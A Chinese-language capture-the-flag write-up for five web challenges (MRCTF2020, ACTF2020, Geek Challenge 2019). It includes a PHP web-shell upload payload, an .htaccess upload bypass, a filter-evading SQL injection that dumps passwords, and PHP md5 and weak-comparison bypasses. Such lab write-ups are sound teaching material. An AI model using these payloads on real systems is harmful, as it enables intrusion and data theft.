[MRCTF2020] 你传你🐎呢
[MRCTF2020]Ez_bypass
[ACTF2020 新生赛] Upload
[极客大挑战 2019] BabySQL
[ACTF2020 新生赛] BackupFile
# [MRCTF2020] 你传你🐎呢
上传.htaccess 文件。
.htaccess 是什么 原文传送门
.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
抓包,上传.htaccess 时。将 content-type 的值修改为 image/png
之后上传图片马,蚁剑连接即可,根目录有 flag。
# [MRCTF2020]Ez_bypass
F12 看到了源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
md5 相等,可以用数组绕过。
?gg[]=1&id[]=0
is_numeric () 函数用 1234567a 绕。1234567a 是字符串,但是弱比较的时候,1 在前,php 会将其整体转成数字,就可以通过比较了。
# [ACTF2020 新生赛] Upload
简单的文件上传。前端验证,使用 burp 绕过。
上传 phtml,解决题目。
GIF89a? <script language="php">eval($_REQUEST[1])</script>
# [极客大挑战 2019] BabySQL
双写绕过,然后就是一把梭。
几个坑 字段名password 要改为passwoorrd
information 要改为 infoorrmation
最终 payload
check.php?username=admin&password='+uniunionon selselectect 1,2,group_concat(passwoorrd) frofromm geek.b4bsql%23
# [ACTF2020 新生赛] BackupFile
扫描备份文件,得到 index.php.bak
然后代码审计
<?php | |
include_once "flag.php"; | |
if(isset($_GET['key'])) { | |
$key = $_GET['key']; | |
if(!is_numeric($key)) { | |
exit("Just num!"); | |
} | |
$key = intval($key); | |
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; | |
if($key == $str) { | |
echo $flag; | |
} | |
} | |
else { | |
echo "Try to find out source file!"; | |
} |
在 php 中 弱比较。123 和 123aaa 相等是成立的。
payload:
?key=123
得到 flag